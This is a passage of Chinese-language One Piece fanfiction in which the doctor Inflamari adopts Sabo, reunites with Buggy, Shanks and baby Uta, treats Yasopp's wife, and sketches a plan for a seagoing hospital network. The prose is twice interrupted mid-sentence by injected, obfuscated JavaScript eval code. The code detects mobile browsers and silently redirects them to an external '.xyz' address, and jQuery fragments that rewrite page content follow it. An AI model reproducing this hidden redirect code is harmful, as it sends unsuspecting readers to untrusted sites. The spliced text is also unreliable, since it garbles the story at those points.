他们穿过整个高镇到了皇宫前,茵弗随手丢给守卫一个袋子,说游医茵弗玛利前来拜访故人。 罗西南迪听叮叮当当的响声估计大概袋子里是金币,不知道他为什么没送贝利。 然后他就震惊地看着茵弗被请进王宫后,跟一个面带谄媚的国王交谈,将手里三个孩子随便抓的一只鳄鱼的肉变成了旅行中得到的无价之宝。然后理所应当地接受激动的国王的宴请,表示愿意明天在召开的宴会上向所有人告知他送了他这份大礼。 罗西南迪目光扫过桌子上那个眼熟的小袋子,大概明白为什么送的不是贝利了。 贵族的宴会...罗西南迪对小时候参加过的天龙人宴会印象不深,但隐约还是有点熟悉感。话里有话的阿谀奉承,互相拉踩。 真的没人吃的出来那块鳄鱼肉,男士们捻着胡子,评判这独一无二的珍馐味道是多么的绝无仅有,女士们围绕着茵弗玛利,想让他去家里做客,在她们身上施展永葆青春的奇迹。 没人在乎只有他们两个没有穿金戴银,国王已经湮没在茵弗玛利之下,这位医生成了整座王宫里最高贵的人,连着罗西南迪一起。 一家又一家,他看着身边的这个熟悉又陌生的茵弗玛利在这虚伪的海中灵活游动,他提着的箱子里价值连城的物件越来越多。 一场大戏,一台演出。谎言与真实从他的嘴中流出,蛛网上的捕猎者。 报酬就是他们在回到露玖的小屋中后可以大笑,随意地把收到的钱与宝物撒在地毯上,在几个惊讶的孩子身上挂满金银珠宝。 罗西南迪在玩闹中笑得腹痛,用颤抖的手在假装自己是国王的艾斯头上放上最华贵的冠。海贼王的孩子?他只是这小屋中短暂的王,明天,他又会变成一只自由的小鸟,和基德一起比赛谁能得到茵弗玛利的夸奖。 沉重的头饰压得艾斯脑袋一点一点,挂着珍珠与蓝宝石项链的露玖一边笑一边弹罗西南迪的脑袋,嗔怪他故意选重的欺负小孩儿。 一旁的茵弗玛利被假装自己是骑士的基拉打倒在地,大喊他会复仇的,然后随手抓了一把贝利丢向他。明显丢歪,砸在了罗西南迪的身上。 散落的贝利被地上冒出的手一张张捡起传递,交给在桌边笑说他们浪费的史黛拉。 “怎么叫浪费,星星!我愿意用所有的贝利换您一直能像现在这么笑!” 接下来的几天一直是这样,毕竟茵弗玛利说他每一家都要去,直到奥特卢克。 基本贵族们都没什么真的需要茵弗去做的。最多是些因为饮食享乐带出来的毛病,就算现在治了,以后也会再出现。但是奥特卢克家不一样,他们家真的有一个需要帮忙的孩子,被狗咬伤。 那对衣裳华丽的夫妇却不是让他医自己孩子的伤的,而是拜托他和他们一起去拜访那条狗的主人家。 “我们带来奇迹游医来照顾小公爵,还请原谅我们家不成器的孩子的失礼。” 公爵家的小子没什么事,只是叫嚷着奥特卢克家的小鬼打扰他和狗玩了——如果放恶犬咬人也算玩的话。 罗西南迪看着奥特卢克男爵一边道歉一边在自己孩子还裹着纱布的伤口上抽了一巴掌。而茵弗玛利给小公爵带着一点淤青的膝盖上涂药,脸上仍然是完美的微笑。 他生气了。 罗西南迪意识到。 回到奥特卢克的宅邸,茵弗示意他去收钱,自己要去借用卫生间,然后在拐出门外时对着那个眼神悲哀的金发小男孩悄悄招了招手。 罗西南迪不知道他们两个聊了什么,不过他们又去了一趟王宫。这次不是鳄鱼肉了,而是真正的,茵弗玛利从鱼人岛带回的珍宝,堆满小小的宝箱,被放在了眼神发亮的国王桌上。 奥特卢克失去了他们的孩子,因为爱民的国王组织了一场让所有贵族孩子都来见茵弗玛利,从中挑选荣幸的学生去与他一起游历的活动。他们花了两个小时夸奖那些贵族育人有方,最后只带走了奥特卢克·萨博。 走回科尔波山的路上他们没说话,没像往常一样开玩笑,只是沉默地听着茵弗怀里那个孩子哀哀地哭泣,一遍遍嘟囔着谢谢。 等哭累的孩子睡着,被放到担心的露玖怀里后,他们两个坐到门外,罗西南迪点了一支烟。 星星很亮,黎明岛气候偏暖,温温的风吹在二人身上。身旁的人突然跳起来在院子里打了一套空气拳,嘴里小声说着什么嗨呀嘿呀的。 罗西南迪看他发泄,笑了笑。 “你又偷小孩,医生。” “不算偷,萨博小先生主动的。” “他说什么?” “他说他伤口很痛,不明白为什么父母不在乎,我说因为他们不爱他。” “好现实啊,医生。” “就是如此,所以我说我来爱他。” “我会爱他,露玖会爱他,我们都会,很快就能填满他小小的灵魂。在他长大前,我会打跑所有的大狗。” 罗西南迪笑了,等茵弗玛利气喘吁吁地坐回他身边后也伸出小指和他拉勾。 “我也来帮忙。” 萨博失去了父亲母亲,但是多了好多家人。没人对一觉醒来家里就多了他感到惊奇。奇迹游医把他带到大家面前说“这是萨博小先生,以后跟我们生活。” 然后就是乌泱泱的自我介绍,他被放上垫了高高一摞书的椅子上吃早餐。 没人问他为什么来,没人问他要跟他们生活多久,叫露玖的夫人拧了一下奇迹游医的耳朵,说既然是家人了就不要讲话那么生疏,然后问萨博要不要多吃一点煎蛋。 一只手拿着调料瓶从桌上冒了出来,长头发的罗宾姐姐问他煎蛋要配胡椒还是盐。 红头发的基德拍着桌子说当然是配番茄酱啊,黑头发的艾斯说还是蛋黄酱比较好吧。 叫史黛拉的姐姐递给他橙汁,叫基拉的哥哥说果然还是应该配酱油。 那个和奇迹游医一起把他带回来的罗西南迪喝咖啡时烫到嘴从椅子上摔下去,奇迹游医——茵弗玛利,习以为常地从他身上迈过去后出了门。 垫着书的椅子硬硬的,餐具也不闪亮,早餐很简单但是量很足,不像曾经的家里那种小小一份。闹哄哄的餐桌上也没什么礼仪,他的面前堆满了各种调味品的瓶子,一群人眼睛亮亮的看他会选哪个。他从来没有过这么多选择,也没这么多人问过他爱吃什么。 他哪个都没选,流下的泪水把他的那份早餐打得有点咸。 “眼泪是咸的所以最后还是盐,我赢了。” “这不算!喂,萨博,尝尝番茄酱吧!” 他以为自己的新家已经很大很大了,结果早上出去的茵弗玛利中午又抱回来一个小团子。 新生的第一天,萨博认识了他未来的弟弟路飞。 “卡普先生走了?” “嗯,和您养父里应外合了一下让他赶紧走,和雷利先生碰上多尴尬啊。基德不要戳小路飞了,是的他就是那么软,你小时候也那么软。” 基德:“不可能!!” 基拉:“是真的。” 艾斯:“哼哼。” 露玖:“你也是。” 萨博小心地在史黛拉的帮助下抱着小路飞,罗宾凑过来说他这么小带去打猎会被鳄鱼吃掉,甚至都不用嚼。 艾斯大惊,说“这、这么小吗?那怎么办?”萨博皱着眉头,勇敢地回答说“没关系!我会救他出来!”得到艾斯基德钦佩的拍肩。 “你好聪明啊,萨博!” “挺男子汉的嘛你!” 茵弗憋笑憋得肩膀乱抖,小心戳戳罗西南迪。 “我们什么时候告诉他们不能带着小路飞先、小路飞去打猎?” 罗西南迪倒是在笑,不过用能力把自己静音了,所以他没听见他的回答。看表情大概意思就是说在他们去打猎之前吧。 - 雷利回来之后看到又多了两个孩子,只能闭着眼睛捏鼻梁。 “这又是哪来的?” 茵弗随便说了一句偷来的,没有分给头痛的金发男人一个眼神,他忙着拥抱和他一起回来的人。 “巴基!你怎么在这里!” “本大爷可是一直帮你管着橘子镇的,好好感恩戴德啊你!” 和说出的话相反的温柔语气让茵弗鼻子一酸。巴基也长高了,长结实了,脸上化着彩妆。他急匆匆地将他带出派对酒吧的门外的一刻就开始亲吻他的脸颊,鼻子,额头。 “你真漂亮,巴基!谢谢你!我好喜欢你!你在报纸上看到我的蜗牛了吗?你喜欢吗?我在订涂装的时候一直想着你。” 巴基被他捧着脸颊四分五裂地手忙脚乱。 “别亲啦混蛋!本大爷的妆要花了!看到了看到了,华丽丽的很好!” 茵弗眼睛笑得弯弯,松开他后反而又被拉入怀抱。 “好久不见了,茵弗。” “嗯,我也想你。” 他们走在风车村的道路上,茵弗脚步都带着雀跃。巴基有点好笑的看着他一蹦一跳,拉着他的手哼不成调的小歌,柔和了眼角。 他们把孩子们全都丢给雷利和罗西南迪,他要和巴基贴一会儿,见他的船员,参观比格道普号。 “紫色太漂亮了吧!居然还有马戏团帐篷!” “哼哼,本大爷的设计当然...听我说话啊混蛋!利基是真正的狮子不会跟你卡鲁秋...利基不要跟他卡鲁秋!!” 茵弗泪流:“呜呜呜呜居然有真正的狮子船员这也太男人的浪漫了。” 巴基:“哦你很懂嘛。” 巴基的船员也不多,但是都很可爱,花哨地给他现场表演各种杂技。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960920|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩独轮车还能用刀的卡巴吉,骑在利基身上唰唰甩鞭子的摩奇。茵弗听着他把鞭子甩的震天响,一下都没有落到利基身上,只是在利基拒绝跳火圈还把他甩下来时打了个滚,擦着鼻血说这也是演出的一部分。 可爱的人有可爱的打赏,茵弗大方地拿出一大堆孩子们的玩具——哥亚贵族的财富抛向他们,倒在巴基身上哈哈大笑。 真的只是身子,巴基的头和手飞出去抢财宝了。 重逢当然是喝酒,宴会,这是船上的规矩。 哦,路飞喝奶,闻着肉香胃口大开,露玖惊奇地说比艾斯小时候吃得还多。 茵弗分神看着巴基被孩子们崇拜地围绕着说“再来一次再来一次”的,想起在鱼人岛时也是这样。他夸张地责怪她为什么不告诉自己她早就见过巴基了,甚至灰中在橘子镇的产业都是巴基在帮忙管理。 “想给你个惊喜嘛,小茵弗。喜欢吗?” “太喜欢了,一百个喜欢。” “香克斯也见过了。” “诶?也对,他说想来东海见您的,他走了吗?” “没有,耶索普的妻子生了孩子,他们去了西布罗村。大概收到卡普要来东海的消息了吧,一直没有回来。” “诶——那我明天和巴基去看看他。” 晚上在巴基的船上留宿,告诉孩子们自己过一阵就很快回来。 带了一天孩子的罗西南迪面色有一丝痛苦,茵弗戳戳他的侧腰提醒道“您说要帮忙的。” 不像香克斯,巴基没有拉着他要一起睡觉,只是把他带到新布置出来的单人舱房。随便介绍了一下这是桌子这是椅子,他指了指不算很大的床。 “总之、咳、你怕冷嘛,两个毯子。不够的话再说就行。” 东海气候温和,其实并不冷,黎明岛更是温暖。不过茵弗幸福地冒着小花扑上床,嗅着新晒过的毯子上阳光的味道。 “咳咳、你喜欢就行,本大爷去睡了。” “冷,巴基。” “啊?那我去拿——” 茵弗对他伸出手,打断了他的话。 “一起吧,好吗?我真的很想你。” 屋子里安静了一会儿,茵弗闭着眼睛,听到开门关门的声音。 他没有收回手,只是搭在床边,静静地等待。 大概过了十分钟,开门声响起,一只还带着点潮意的手牵住了他。茵弗笑着往里侧挪了挪,睁开眼看他——洗掉了脸上的妆,也换了睡衣,难怪手上还是湿的。 “还是你最乖了,巴基,香克斯睡觉可不换睡衣。” “你不也不换?我们三个还是得看本大爷的。” “嗯,你最漂亮。” 没有毯子堆,但是两个足够了,比一个要多。茵弗并不贪心。 他们也没有一人一个,床还是不够大,两个人挤着盖两层,茵弗抱着自己的巴基。 “冷什么啊,你还是满嘴瞎话,热死了。” “真的吗?” “...也还好。” 月亮已经升了一大半了,不过茵弗不急着睡觉,他要享受今天,也许明天睡个懒觉。 “明天我们去西布罗村看香克斯?我也想他。” “哦,糖浆区,行,正好橘子镇那边要采购一批做糖。” 露玖是真的把生意做很大啊...岛与岛之间互相联通互利互惠... “雷利先生去看你了?” “啊、啊是,他来东海之后听露玖夫人说我在那边...就去看看我过得怎么样什么的...” 茵弗笑了笑:“很意外?” 巴基:“有点吧...不过主要是没想到你真能把副船长带来东海啊!” 茵弗嗯了一声:“我说过的吧,相信我。” 巴基:“...嗯。” 咚咚咚,耳边的心跳跳得很快,茵弗不觉得吵。 “你怎么没去拉夫德鲁?我以为你早就去伟大航路了。” “啊,本来打算的,但是后来碰到露玖夫人,然后...艾斯。才知道你这家伙瞒着我们干了件大事啊混蛋。” “我自己也没想到呢,不过,我会处理好的,你不用停下你的冒险。橘子镇那边也没问题的,我会告诉阿龙先...” 巴基打断了他:“不、我没有暂停我的冒险,船长留下来的宝藏有很多...对吧?” “...嗯。” 第一次听巴基说这样的话,大概蓝发青年自己也不好意思,不吭声了。果然,没过多久就听他用有点气急败坏的语气说:“本大爷以后会去的啦!这片海我想去哪都会去的!” 茵弗亲了亲他:“好耶~” 烧起来了,可爱,巴基还是和小时候一样爱害羞啊。 好温暖。 月亮又垂了一些,茵弗迷迷糊糊间感到巴基从平躺翻了个身面对他,自己半睁着眼只能在黑暗里看到月光下比海洋浅,比天空深,但是同样波光粼粼的头发。 一只手轻轻地放在他的脸颊上,拇指蹭过眼下与颧骨,好像在擦去不存在的泪。 “喂、你还好吗?” “...” “啧。本大爷不是早就在这里了吗?” “杰里、茵弗玛利、哥哥、混蛋白痴,好吧,老子承认了,我在橘子镇也有想等你来着,行了吧。别总是露出一副见到我了就可以安心去死的表情啊,简直跟当年被□□揍完之后一脸血的样子一模一样...” 茵弗听他絮絮叨叨地骂他,咯咯地笑,哭一样的笑声在房间里听起来有些诡异,他咳嗽了几下,吓得巴基连忙拍拍他的后背。 “好吧好吧你睡觉吧真的是,麻烦死了...” “我最近在努力吃饭。” “嗯,知道了,臭克斯跟我说的时候我还吓一跳。今天还行嘛,宴会吃了两块烤肉呢。” 哇,温柔的巴基,好不习惯,好喜欢。 茵弗把他搂得更紧了,巴基任由他抱着,犹豫一下也把胳膊搭在他后背上。 “谢谢。” “少来,明天宝藏多拿一点出来。” 茵弗大概回答了一声吧,他这一觉睡得很沉,也没有做梦,蜗牛坐久了有时候还挺想念船上的感觉的。微微摇晃着,海洋妈妈给每个游子都是一样的摇篮。 他醒来的时候已经日上三竿,难得睡懒觉他也不想起床,巴基已经不在身边,不过听外面的声音大概他们早都启航往西布罗村前进了。 东海群岛很多,各自有各自的特色,所以才农业上可以发展的空间很大...露玖是这么说的。岛屿之间的距离也近,西布罗村所在的月光群岛很快就能到。莫名其妙地给茵弗一种露玖版本的托特兰的即视感。 不过茵弗没法在床上窝一天,即使他很想。巴基也不会那么惯着他,还是把他拉起来去吃东西,顺便聊聊他在橘子镇的事情。橘子镇和西布罗村更近,所以倒是最近和香克斯联系不少。 “本大爷也能在东海混成大海贼吧,然后就去伟大航路。卡普加上阿龙还有鱼人族他们,这边庇护足够了。” “你见过阿龙先生了?” “当然了吧,可可西亚可是灰中重点产业之一啊,他也记得我,鱼人岛不是还见过?” “也对哦。” 茵弗嚼着吐司芯,指指巴基手里的面包边说稍微烤一烤或者裹上鸡蛋牛奶炸一下都很好吃哦。 巴基无语,说也就你能把白面包边吃出花了吧。 茵弗得意挺挺胸膛,收获白眼一枚。 快点到吧,西布罗村。 56.暖风下的幼苗 和香克斯见面...怎么说呢...鸡飞狗跳。 首先,比格道普号入港的时候大概是中午十二点。香克斯大概是昨天喝得烂醉,根本没有起床。 茵弗无语地靠在船舷上摸着利基,看巴基飞到雷德福斯的上空举着个大喇叭大喊。然后最先从船舱里跑出来的是...一个双色头发的小女孩,后面跟着紧张得要死怕她摔倒的陌生船员。 ...? “巴基叔叔!爸爸在睡觉!” ......? “哦,乌塔!去叫他起来!就说茵弗来了!” 茵弗没管船舱里噼里啪啦的声响,紧紧抓住飞回来的巴基。 “香克斯有女儿了??而且都会跑了...我还没有准备好被叫伯伯,听起来好老!” 巴基扭曲了一下表情,还没开口就被还带着一点睡意的大喊声打断。 香克斯:“茵弗———!” 嗯...嗯,虽然这个一半红发的部分确实很像,另一半白发来自妈妈吗?糟糕没有准备见香克斯妻子孩子的见面礼啊... 巴基看他咬指甲啧了一声,干脆抱着他的腋下把他拎起来飞过两艘船之间的距离,将他放在甲板上后骂骂咧咧地说让香克斯自己解释。 茵弗认真对自家弟弟怀里的小女孩鞠躬。 “您好,小侄女!我是茵弗玛利,您父亲的哥哥,但是我不喜欢伯伯这个称呼,所以请不要叫,谢谢您!” 香克斯哈哈大笑说什么啊,艾斯不是叫你小姨吗?那个就能接受啊。 茵弗惊恐:“你怎么知道?” 巴基:“怎么会不知道啊,那群小鬼可是剪你的报纸做日志诶。” 可恶,这么可爱的吗?怎么不告诉他,害羞吗!被小姨感谢地亲一亲又会怎样啦。 “我知道你,茵弗叔叔,爸爸会讲你的故事!” 可恶,这么可爱的吗?茵弗搂过香克斯亲了亲,然后被他的一身酒气熏地歪嘴。 “好臭。” 巴基抱过乌塔,在香克斯身上踹了一脚。 “听见没,你臭死了,酒鬼,滚去洗澡。” 香克斯倔强地往茵弗身边凑了一步,茵弗退后半步。红发船长精神萎靡地去洗澡了,靠谱的副船长贝克曼走上来示意他们一起去饭厅。 “好久不见了,贝克曼先生。” “啊,好久不见。” 小乌塔含着指头,葡萄一样水灵灵的眼睛一眨不眨地盯着他,头上发型的两个小兔耳朵随着巴基的步伐轻轻摇晃。是和罗宾蕾玖完全不一样可爱类型呢,茵弗从口袋里摸出糖果递给她。 “哇!谢谢叔叔!” “嗯...其实想被叫哥哥...” “你这个癖好什么时候能改啊,''小姨''。” 茵弗难得地噎了一下。 贝克曼笑了一声,带他们到饭厅坐下,鲁一边头痛地揉脑袋一边在做饭。 “哦!这不是茵弗大哥吗?好久不见啊!” 桌边的本乡在他身上的肥肉上抽了一下:“所以说比茵弗医生大就不要乱叫!茵弗医生!我是本乡啊!好久不见了!” 茵弗笑笑:“是,先生,我还记得您。” 早餐的香气终于在午餐时间弥漫,乌塔当然已经早早地吃过了。当时跟在她身后的陌生戴头巾船员——莱姆琼斯,给她做了三明治。 除了莱姆琼斯之外,红发海贼团还加入了本克·宾治。茵弗在跟他们相互介绍后也熟络了起来,虽然他们一开始也不大习惯他的敬语。莱姆琼斯也很不习惯茵弗对他直白的表示“很喜欢您的名字【柠檬汁】(lime juice)。”脸红红地摆手。 “乌塔小小姐的母亲没有跟着航行吗?还是把香克斯甩了?” 嘴里叼着棒棒糖的贝克曼摇头,讲述了他们是怎么在几个月前的宝箱里发现了乌塔,又是怎么决定要养她,现在乌塔是整个红发海贼团的女儿。 宝箱里开出来的宝藏吗?茵弗笑了笑,罗杰当然还给他讲过当时他们从宝箱里找到香克斯的时候,一群大男人是多么手忙脚乱的。也许香克斯留下她也有这个原因吧? 乌塔坐在贝克曼的膝盖上,啊呜一口吃掉茵弗递过去的早餐松饼,嘟着圆圆的小脸骄傲地说她以后要做海贼团的音乐家。 “音乐很好啊,我很喜欢,上次我还跟香克斯说他没有找到音乐家呢,结果您就来到他们身边,是大海的礼物呢。” 乌塔不好意思地嘿嘿笑,身边的一群蠢爸爸们看她可爱的样子也嘿嘿笑。洗完澡的香克斯跑进饭厅,嗖地贴着茵弗坐下。 “嘿嘿~” 巴基:“白痴,刚过来就嘿嘿什么啊。” 香克斯:“茵弗来了嘛。” 左边坐着香克斯,右边坐着巴基,坐在船上的饭厅里吃饭,茵弗的灵魂都在唱歌了。 他放下餐具用手托着脸颊,听着香克斯和巴基拌嘴,盯着虚空发呆。 坐在他对面的贝克曼第一次见他这么放松的样子,也支着脑袋看他,一只手放在桌上任由怀里的乌塔玩来玩去。茵弗玛利也很喜欢玩别人的手,之前经常捏着香克斯的手拨弄他的手指。 一段时间不见,对方又做了不少大事,比如和那只火烈鸟的黑曼巴,带着鱼人岛的乙姬王妃拜访马林福德,和海军合作。这次回东海才知道耶索普家乡也和他留下的灰中合作,现在发展的很好。 贝克曼还记得当时茵弗玛利是怎么跟他和香克斯讲的,''我想让艾斯他们的生活周围没有那么多垃圾''。谁知道整个东海的风都因此而改变了呢? 茵弗玛利的中立态度现在人尽皆知,他随心所欲,救所有人,也不救任何人。但贝克曼嗅到了其中风雨欲来的潮气,他就像一个在人视线之外缓慢成长,静止不动的海啸。如果他偏心的人受到威胁,就会带着在弗雷凡斯出现过的那股疯狂倾倒。 他那些有意无意留下的''一切'',包括灰中,都会成为他的力量,愿意成为他的力量,也包括红发海贼团。 而他们是''朋友'',他的一切也会为他们而来。 这个家伙,现在还搂着自己弟弟的腰撒娇呢。 “不要嘛巴基,晚一点再工作,订糖浆什么的让卡巴吉先生他们去嘛——” 巴基推着他的脑袋,倒也没有真的用能力把自己分出去,只是骂骂咧咧地让他松手。 “你不是很喜欢小孩吗!香克斯船上的狙击手家有儿子了,你快去看!你那边结束本大爷就回来了。” 耶索普确实不在,他和妻子和几个月大的孩子生活在家里。 茵弗前去拜访的时候带了在风车村买的礼物。见了耶索普和他的妻子班奇娜,还有他们和小路飞差不多大的儿子乌索普。 小婴儿是健康的,至于妈妈嘛... 茵弗示意鲁带着乌塔先出去,贝克曼看到他这个举动后站直了身体,耶索普也变得紧张。班奇娜不清楚,他们当然是了解他的能力的。 茵弗想了一下该怎么解释,十指交握扣在膝上,在屋内愈发凝重的气氛里开口道: “恕我失礼,不过您母亲是否离世得比较早?您外婆也许也是?” 耶索普脸一下白了,快步走到妻子身边坐下,拉住她的手。 班奇娜有些惊讶地回答说是的,她母亲说外婆在她十岁的时候就离开了,而自己也是在八岁左右失去的母亲。 茵弗点点头:“您听起来跟弗雷凡斯当时的人们有点像,但是不太一样,和您生育后的器官改变有关,所以我怀疑是某种遗传。” 耶索普:“茵弗医生...班奇娜...” 香克斯:“哦!没关系的,耶索普!茵弗不会让那种事情发生的对吧?” 那当然了吧。 遗传病很麻烦,不过还好这次只有一个人。 “唔...我这次拜访没带需要的东西,而且有几味需要的草药东海是没有的。” 但是很必须,如果弄不到的话真的在东海这种地方就治不好了。 耶索普看向自己的船长:“头儿...” 香克斯:“哦,交给我们吧耶索普!” 茵弗温柔地笑笑,接过贝克曼递过来的纸笔开始写,一只手握在班奇娜的手腕上,一边听一边涂改。 “有点麻烦,像是卷尾蕨这类的东西真的很不常用,所以我那里就算有存货也肯定不够的,您的病不是毒,要长期治下去。” 贝克曼:“大概要多久?” 茵弗:“嗯...至少五年吧。所以我建议我标注需要到别的海域找的药材最好多弄一些回来。” 耶索普:“五、五年吗?” 香克斯开朗地笑笑:“没关系的啦,耶索普,我们不着急的!” 班奇娜却摇摇头,拉住自己的丈夫,坚定地说:“没关系,亲爱的,既然吃药就可以治好,你可以继续去海上冒险,不用担心我。” 诶——爱情。露玖也是带着类似的心情将罗杰送到大海上去的吗?即使她知道他不会再回来? 茵弗基本写完了,转着手上的笔思考。如果有海上移动的医院就好了,出现班奇娜这种东海治不好的情况,只需要去不停在海域间移动的医院上救治,甚至是直接下订单买需要的药都可以... “茵弗?” “嗯?” “写好了吗?” 哦对,病人还在等他。 茵弗回神,再次检查了一下后点点头,递给香克斯。 “哇——字好丑。” “这是医生的美德。” 香克斯决定他们出海去把缺的药都带回来,本来耶索普也打算和妻子孩子相处一阵子的,就不用跟着。等他们回来,确定疗程进入正轨了后再谈耶索普回船上的事情——大概两到三年吧,茵弗估计。 稍微时间有点紧。 “如果不出意外,疗程开始的五年后请联系我复诊,之后看恢复情况,有可能您还需要再做一两次手术。” 耶索普搂着妻子流着泪点头:“是、谢谢茵弗大哥呜呜,谢谢头儿!” 本乡居然没抗议? 茵弗看着船长船员上演感天动地伙伴情,微微笑着,又捡起刚刚的思绪,拿过一张纸写写画画。这次出来连药箱都没带,笔记本更不用说,不过他习惯一边写出来一边规划的习惯还是没改。 贝克曼走到他身边坐下,嘴里还是棒棒糖。 “先生,您戒烟了?” 贝克曼笑了一声:“让你失望了,医生,不过没有,只是在孩子孕妇身边,还有医院要禁烟不是吗?” 茵弗满意点头:“很好嘛您,好习惯。” 贝克曼:“被你教的啊,掐我烟的小鬼。” 茵弗激灵了一下,奇怪地看他一眼。 小鬼?贝克曼还是第一次这么跟他讲话。也对,他俩相差差不多十岁?不过也不算很多吧。 “好好保持啊,大叔。” 贝克曼笑了一声:“''大叔''?这是我的昵称吗?” 茵弗:“不是,先生。” 贝克曼:“真可惜。” 怎么回事,罗西南迪想要昵称,现在贝克曼也想要?他才不信呢,这家伙就是某种聪明自信男的奇怪好胜心吧。 茵弗又开始琢磨他的图,潦草地画了四海和伟大航路的样子,然后把他们连来连去。 贝克曼:“你在想什么,茵弗玛利,这次你的朋友红发海贼团能帮上你吗?” 茵弗摇摇头:“我只是觉得,四海之间割裂得好严重。虽然红十,灰中都是利用当地独特资源的优势,但是像班奇娜夫人这样,如果救命的医疗资源因为海域不同而无法得到,耶索普先生离开后也许都意识不到妻子已经离世了。” 贝克曼:“别说这么难过的话啊。” 茵弗嗯了一声,向后倚在椅背上,仰头对着天花板出神:“四海很多''疑难杂症''其实到了伟大航路都很好解决。不止是资源,包括医生的经验,对疾病的了解程度都远超四海。甚至在伟大航路本身,您不知道我有多少患者因为不流动的信息而受苦。” 某一个岛的不治之症可能在另一个岛只是寻常感冒而已。多变的气候,无穷尽的动植物多样性,不同地域的人有不同的长处。茵弗在杰克逊号上的那几年充分体会了这一点,他以为在磁鼓岛已经基本学完的东西,到了外面才知道自己仍然是一块等待吸满水分的海绵。库洛卡斯也是一位很好的老师,作为伟大航路入口的看守者,他的学识之广阔是世界顶尖的。虽然是个古怪的花大叔,不过真的有对茵弗倾囊相授。 贝克曼听着他一边思考一边低语,好像又见到了那天在弗雷凡斯中央医院的茵弗玛利,只不过这次更平和,更纯粹,但都是一样地将手搭在心脏上,只待挥出时放飞一群向世界的白鸽。 屋子里的声音低了,静了,最后只剩下他平稳的话语,将他流淌的思绪一点点展开在众人眼前。 如果海上能有移动的医院呢?如果来自世界各地的医生们携手合作呢?北海发现救不了的病人可以联系西海的人,等他们进入东海时,西海的医生已经在帮助北海的患者了。班奇娜需要南海的药,东海的医生在路过得知后联系南海的医生准备好,在他们进入伟大航路时,南海的医生已经将药送来了。 流动,凝聚,才能做到点什么。 茵弗回过神,发现自己不知道什么时候将一只手微微举在头顶上方做了一个抓握的动作。就像是很久很久以前,他躺在潮湿的甲板上,试图抓住那些好似离自己很近的星星。 大概动作很傻吧,他直起身,发现屋子里的人都在认真地看着他。甚至包括不太熟悉的莱姆琼斯——巴基和鲁他们什么时候回来的? “抱歉...” 贝克曼:“为什么要道歉?” 茵弗:“因为让大家见笑了?不知道。感觉道歉比较礼貌,毕竟我只是在念叨。” 贝克曼摇摇头,取过一支笔在他涂画得一团糟的纸上写下什么。 “最少也要五到六艘船吧,足够大,足够结实的船,减小风浪的影响,杰尔玛大概不会给你更多的蜗牛?” “诶?” 香克斯也凑过来:“哦哦!七水之都的汤姆先生,茵弗记得吗?我们跟你讲过的。” “诶?倒是记得...” 本乡接过贝克曼的笔:“要很多医生吧,最好有一个本部一样的地方可以轮换,我之前工作的地方经常外派出诊没有轮换好累...” “诶?确实呢...” 巴基自己拿了一只彩色的笔也开始写:“宣传啊!茵弗号召一下肯定有人会来的吧,还有那些新白城的人。那个什么信息快速传递,本大爷在灰中干的就是这件事呢,联通各个岛——巴基速递!” “诶?好厉害啊巴基...” 乌塔:“要唱歌!生病的人听到歌会开心的!” “诶?确实精神抚慰也对身体健康有好处呢...” 众人七嘴八舌地讨论着,想到什么就往纸上记下来,各种各样的字迹填满空白。黑色的,蓝色的,紫色的,一砖一石,在茵弗的眼前铺成一条可以走的路,而不是抓不住的星星。 香克斯:“你觉得怎么样,茵弗,要去做吗? 要去做吗? 茵弗捂着脸,闷闷地带着笑意说:“久违地,是别人给我提供选择呢,不试着做一下不行了吧?” 香克斯:“好耶!兄弟们!出发啦!” 茵弗:“你给我等一下。” 这肯定是一项耗时耗钱的工作。而且现在只是有了一个构想,实际上肯定会出现不少意外情况,就算红发海贼团是他的朋友,他们也有他们的冒险,也有自己想要去做的事情。这和在弗雷凡斯不一样,他们不需要,也不能一直呆在他身边。 “而且,我还要带着露玖他们旅行呢。孩子们还小,我和萨博约好了要爱他的。现在你和海贼团要做的事情应该是帮助班奇娜夫人。” 贝克曼:“你呢,下一步要做什么?” 茵弗将那张花花绿绿的纸叠好放到口袋里拍了拍,“没想好,先去看看阿龙先生。”他走到小乌索普的婴儿床边,给像妈妈一样鼻子长长的小孩脸上留下祝福。 - 和阿龙见面...怎么说呢...意料之中。 这家伙果然离开鱼人岛的土地限制就给自己建了个很帅很大的基地,还把小八他们也带来了。 “怎么,老子替你看着东海连个好房子都不给盖?这儿的村长亲自给我和同胞们划的地呢。” 茵弗挂在他背上,伸手摸那只牛头海兽幼崽。 “哪有,您赚的钱您想盖多大的房子都行。不过它好可爱...”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967361|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“啊,小八捡回来的,就养着吧,长大了让它拉货。” 带他来的巴基熟络地和克罗欧比他们聊着,几个可可西亚村民拿着一些纸张也笑吟吟地手舞足蹈地比划,没人打扰他们二人聊天。 “鱼人岛那边您走了没问题?” “没问题,有乙姬呢,桑贝尔大哥也还在那边。” “甚平先生?” “啊他偶尔跑跑腿吧,''绳子'',记得吗?” 从连接鱼人街和鱼人岛的绳子,慢慢变成连接鱼人岛与陆地的绳子了啊。 真是神奇。 “陆地上感觉还好?” “一开始那些家伙挺怕我们的,不过露玖夫人带着那群小鬼跑了几趟。” “嗯,慢慢地整个东海都会接受您们的,如果您想,也可以送一些红十的人手去新白城,到北海南海去。我会联系。” “...当然好了吧。” 